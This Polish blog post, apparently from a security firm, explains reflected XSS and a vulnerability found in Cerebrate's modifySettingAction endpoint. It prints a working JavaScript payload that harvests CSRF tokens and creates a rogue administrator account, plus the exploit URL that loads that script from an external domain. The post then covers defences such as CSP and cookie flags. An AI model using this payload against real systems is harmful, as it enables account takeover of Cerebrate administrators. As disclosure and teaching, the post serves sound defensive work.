Bezpieczeństwo aplikacji webowych to kluczowy aspekt utrzymania bezpiecznych i niezawodnych usług online. Jedną z najczęściej wykorzystywanych podatności w aplikacjach webowych jest reflected Cross-Site Scripting (XSS). W tym artykule omówimy tę podatność, przedstawimy rzeczywisty przykład reflected XSS, który Dawid odkrył w Cerebrate, jego potencjalne skutki oraz sposoby ochrony przed tym zagrożeniem.

Zrozumienie reflected XSS

Reflected Cross-Site Scripting (XSS) to podatność w aplikacjach webowych, która występuje, gdy atakujący wstrzykuje złośliwy kod do aplikacji, a następnie jest on odzwierciedlany w przeglądarce użytkownika. Dzieje się tak, gdy aplikacja nieprawidłowo filtruje dane wejściowe użytkownika przed ich umieszczeniem w odpowiedzi serwera. Po załadowaniu zainfekowanej treści przez przeglądarkę ofiary, osadzony skrypt zostaje wykonany, co może prowadzić do kradzieży danych użytkownika lub manipulowania interakcjami z aplikacją.

Główne składniki reflected XSS

• Dane wejściowe użytkownika – atakujący wprowadza złośliwy kod do pól wejściowych, takich jak wyszukiwarka czy formularz logowania.
• Niefiltrowane dane wyjściowe – aplikacja webowa nieprawidłowo filtruje dane wejściowe użytkownika i umieszcza je w odpowiedzi serwera, np. w wynikach wyszukiwania lub komunikatach o błędach.
• Wykonanie skryptu – przeglądarka ofiary wykonuje złośliwy skrypt, co pozwala atakującemu przeprowadzać działania w imieniu użytkownika lub uzyskać dostęp do poufnych danych.

Jaka jest różnica między Stored XSS a Reflected XSS?

Stored XSS, znany również jako Persistent XSS, to inny typ podatności XSS. W przeciwieństwie do Reflected XSS, gdzie złośliwy kod jest natychmiast odzwierciedlany i zwracany użytkownikowi, Stored XSS polega na trwałym zapisaniu złośliwego ładunku na docelowym serwerze. Następnie ten ładunek jest serwowany innym użytkownikom odwiedzającym zainfekowaną stronę.

Główna różnica między Stored XSS a Reflected XSS leży w sposobie dostarczania złośliwego kodu. W przypadku Stored XSS atakujący wstrzykuje kod, który jest na stałe przechowywany na serwerze i wyświetlany wielu użytkownikom. Natomiast w przypadku Reflected XSS złośliwy kod jest odzwierciedlany tylko dla konkretnego użytkownika, zazwyczaj poprzez spreparowany adres URL lub dane przesłane w formularzu.

Identyfikacja i testowanie podatności na Reflected XSS

Aby wykryć i przetestować podatności Reflected XSS, konieczne jest dokładne przeanalizowanie wszystkich punktów wejścia danych w żądaniach HTTP aplikacji. Obejmuje to parametry w łańcuchu zapytania URL, treść wiadomości (body), ścieżkę URL oraz nagłówki HTTP.

Kroki testowania podatności na Reflected XSS

1. Confirm the Attack in a Browser: If you find a payload that appears to work within a testing tool, transfer the attack to a real browser and see if the injected JavaScript is indeed executed.
2. Testowanie wszystkich punktów wejścia – Sprawdź każdy punkt wejścia danych w żądaniach HTTP aplikacji, w tym parametry, łańcuchy zapytań URL, treść wiadomości oraz nagłówki HTTP.
3. Przesyłanie losowych wartości alfanumerycznych – Dla każdego punktu wejścia wprowadź unikalną losową wartość i sprawdź, czy zostaje ona odzwierciedlona w odpowiedzi.
4. Określenie kontekstu odbicia – Dla każdej lokalizacji, w której wartość została odzwierciedlona, określ jej kontekst (np. zwykły tekst między znacznikami HTML, atrybut znacznika, ciąg w kodzie JavaScript itp.).
5. Testowanie ładunku XSS – W oparciu o kontekst odbicia sprawdź początkowy kandydat na payload XSS, który powinien wywołać wykonanie JavaScriptu, jeśli zostanie odzwierciedlony bez modyfikacji w odpowiedzi serwera.
6. Testowanie alternatywnych ładunków – Jeśli podstawowy payload XSS zostanie zmodyfikowany lub zablokowany, sprawdź alternatywne techniki, takie jak kodowanie URL, które mogą umożliwić skuteczny atak XSS.
7. Potwierdzenie ataku w przeglądarce – Jeśli znaleziony payload działa w narzędziu testowym, przenieś atak do rzeczywistej przeglądarki i sprawdź, czy osadzony skrypt JavaScript faktycznie się wykonuje.

Scenariusz ataku: przykład z życia wzięty

Podczas badań nad bezpieczeństwem, przy użyciu naszego open-source’owego skanera podatności CakeFuzzer, Dawid odkrył, że podatność w aplikacji była spowodowana niewystarczającą sanitacją danych wyjściowych. Atakujący mógł wykorzystać funkcję modifySettingAction w narzędziach lokalnych do wstrzyknięcia złośliwego kodu do aplikacji, który następnie byłby odzwierciedlony i wykonany w przeglądarce ofiary.

Problemem było to, że aby wykorzystać tę podatność, w Cerebrate musiała być utworzona przynajmniej jedna konfiguracja połączenia z MISP.

Aby zilustrować scenariusz ataku, stworzyliśmy następujący złośliwy skrypt i przesłaliśmy go na nasz serwer:

u = '/users/add'; $.get(u, function(d) {					
r = /_Token\[fields\]".*?value="([^"]+)"/g; t = r.exec(d)[1];
 r = /_csrfToken.*?value="([^"]+)"/g;
 c = r.exec(d)[1];					
$.post(u, {
 _csrfToken: c,
 '_Token[fields]': t,
 individual_id: 1,
 username: 'reflected_xss_user', organisation_id: 1,
 password: '123qweASD!@#', confirm_password: '123qweASD!@#', role_id: 1,
 disabled: 0,
 '_Token[unlocked]': ''						
}); })

Podczas testów był on dostępny pod adresem: https://our-public-domain/xss-cerebrate-125719276512.js 

Analiza złośliwego skryptu

Jeśli chcesz zrozumieć, jak działa ten skrypt, oto jego kluczowe komponenty:

1. Wysyła żądanie GET do /users/add przy użyciu XMLHttpRequest.
2. Po otrzymaniu odpowiedzi skrypt wyodrębnia dwie wartości z danych zwrotnych: token CSRF oraz token dla pola formularza.
   1. Token CSRF – pobierany za pomocą wyrażenia regularnego /_csrfToken.*?value=”([^”]+)”/g
   2. Token pola formularza – pobierany za pomocą wyrażenia regularnego /_Token[fields]”.*?value=”([^”]+)”/g
3. Po uzyskaniu tych wartości skrypt wysyła żądanie POST do /users/add z następującymi danymi:
   1. _csrfToken: wyodrębniony token CSRF
   2. ’_Token[fields]: wyodrębniony token pola formularza
   3. individual_id: identyfikator użytkownika
   4. username: nazwa użytkownika, który ma zostać utworzony (reflected_xss_user w tym przypadku)
   5. organisation_id: identyfikator organizacji
   6. password oraz confirm_password: hasło oraz jego potwierdzenie
   7. role_id: identyfikator roli użytkownika
   8. disabled: flaga określająca, czy użytkownik jest dezaktywowany (0 w tym przypadku)
   9. ’_Token[unlocked]: pusta wartość dla odblokowanego tokena

Przed wykonaniem ataku w instancji Cerebrate było jedynie 8 użytkowników, co można zobaczyć na poniższym zrzucie ekranu:

W ramach przykładowego scenariusza załóżmy, że udało nam się przekonać administratora Cerebrate do kliknięcia w następujący URL, co spowodowało wykonanie kodu JavaScript:

http://dawid:8000/localTools/action/1/modifySettingAction?setting=<script src="https://our-public-domain.com/xss- cerebrate-125719276512.js"></script>

Ostatecznie, uruchomienie kodu JavaScript z serwera atakującego doprowadziło do utworzenia nowego konta administratora (reflected_xss_user) w aplikacji Cerebrate:

Potencjalne konsekwencje ataków reflected XSS

Ataki reflected XSS mogą mieć poważne konsekwencje zarówno dla użytkowników, jak i stron internetowych. Do potencjalnych podatności i konsekwencji należą:

• Nieautoryzowany dostęp: Atakujący mogą wykorzystać reflected XSS do kradzieży wrażliwych informacji użytkowników, takich jak dane logowania czy dane osobowe. W tym celu mogą wykorzystywać podatności reflected XSS do tworzenia realistycznie wyglądających stron phishingowych, które oszukują użytkowników i skłaniają ich do ujawnienia swoich wrażliwych danych.
• Kradzież ciasteczek: Wykorzystując podatności XSS, atakujący mogą przejąć sesje użytkowników, kradnąc ich ciasteczka sesyjne, co prowadzi do nieautoryzowanego dostępu do konta.
• Zmienianie wyglądu strony: Atakujący mogą wstrzykiwać złośliwy kod, który modyfikuje wygląd lub zawartość strony, co prowadzi do defacementu i negatywnego wpływu na reputację strony internetowej.
• Dystrybucja złośliwego oprogramowania: Atakujący mogą wstrzykiwać złośliwe skrypty, które przekierowują użytkowników na strony hostujące złośliwe oprogramowanie, co prowadzi do zainstalowania szkodliwego oprogramowania na ich systemach.

Ochrona strony przed atakami reflected XSS

Aby chronić swoją stronę przed atakami reflected XSS, należy wdrożyć odpowiednią sanitację danych wyjściowych. Warto pamiętać, że dane wejściowe mogą pochodzić nie tylko z żądania HTTP, ale także z bazy danych w postaci komentarzy, postów, wiadomości itd., dlatego nie zapominaj o zabezpieczeniu tych punktów końcowych. Dodatkowo istnieje kilka innych działań, które można podjąć, aby wzmocnić bezpieczeństwo aplikacji webowej:

• Używanie zapory aplikacji webowej (WAF): WAF może pomóc w wykrywaniu i blokowaniu potencjalnych ataków XSS, zapewniając dodatkową warstwę ochrony.

• Weryfikacja i sanitacja danych wyjściowych
  • Jednym z najważniejszych kroków w zapobieganiu atakom reflected XSS jest odpowiednia weryfikacja i sanitacja danych wyjściowych generowanych za pomocą danych użytkownika na froncie, przed ich wyświetleniem. Istnieje wiele metod kodowania danych wyjściowych, ponieważ przeglądarki różnie analizują HTML, JS, URL-i CSS.

• Używanie nagłówków HTTP
  • X-XSS-Protection: Ten nagłówek jest używany przez starsze przeglądarki internetowe do włączania lub wyłączania wbudowanego filtrowania XSS. Można go ustawić na wartość ‘1; mode=block’, aby włączyć filtrowanie lub ‘0’, aby je wyłączyć.
  • X-Content-Type-Options: Ten nagłówek pomaga zapobiegać niektórym rodzajom ataków XSS, uniemożliwiając przeglądarkom interpretację plików jako inny typ MIME niż ten określony przez serwer. Wartość tego nagłówka powinna być ustawiona na nosniff.
  • Content-Security-Policy (CSP): Ten nagłówek pozwala aplikacji webowej określić, które źródła treści mogą być ładowane przez przeglądarkę. Umożliwia egzekwowanie białej listy zaufanych źródeł i może pomóc w zapobieganiu atakom XSS przez blokowanie niezaufanych źródeł. Na przykład nagłówek CSP może wyglądać tak:
    • Content-Security-Policy: default-src 'self’; script-src 'self’ https://trusted-domain.com; object-src 'none’
  • Strict-Transport-Security (HSTS): Ten nagłówek pomaga zapobiegać atakom SSL-stripping, które mogą ułatwić przeprowadzenie ataków XSS. Poprzez ustawienie tego nagłówka aplikacja webowa może wymusić, aby była dostępna tylko przez bezpieczne, szyfrowane połączenie.

• Używanie flag HttpOnly i Secure dla ciasteczek:

Flagi ciasteczek są ważnym aspektem zabezpieczania ciasteczek przed atakami Cross-Site Scripting (XSS). Flagi ciasteczek to atrybuty, które można ustawić na ciasteczkach, gdy są one wysyłane z serwera do klienta. Określają one sposób działania ciasteczka i mogą pomóc w zapobieganiu atakom XSS, ograniczając zakres ciasteczka i zwiększając jego bezpieczeństwo.

• Flaga HttpOnly może zostać ustawiona na ciasteczku, aby zapobiec dostępowi do jego zawartości z poziomu JavaScriptu.
• Flaga Secure zapewnia, że ciasteczko będzie wysyłane tylko przez szyfrowane połączenia (HTTPS), co pomaga zapobiec podsłuchiwaniu i manipulacjom przez atakujących.
• Flaga SameSite zapobiega wysyłaniu ciasteczka wraz z zapytaniami międzydomenowymi.

Te flagi pomagają uczynić ciasteczka bardziej bezpiecznymi i odgrywają ważną rolę w zapobieganiu atakom XSS.

• Edukacja użytkowników: Poinformuj swoich użytkowników o zagrożeniach związanych z klikaniem w podejrzane linki i zachęcaj ich do zachowania czujności podczas interakcji z e-mailami, sekcjami komentarzy na stronach internetowych oraz kanałami mediów społecznościowych.

Podsumowanie działań naprawczych

Warto pamiętać, że zapobieganie podatnościom reflected XSS wymaga podejścia wielowarstwowego, obejmującego połączenie środków technicznych i proceduralnych. Podejmując te kroki, administratorzy i deweloperzy mogą pomóc w zapobieganiu atakom reflected XSS i chronić aplikację oraz jej użytkowników przed potencjalnymi zagrożeniami.

Wnioski

Reflected XSS stanowi poważne zagrożenie dla bezpieczeństwa aplikacji webowych, ponieważ umożliwia atakującym kompromitację danych użytkowników oraz interakcji z podatnymi aplikacjami. Zrozumienie charakteru tej podatności, testowanie aplikacji pod kątem potencjalnych słabości oraz wdrażanie niezbędnych środków ochrony pomoże chronić Twoją stronę i jej użytkowników przed niebezpieczeństwem ataków typu reflected XSS.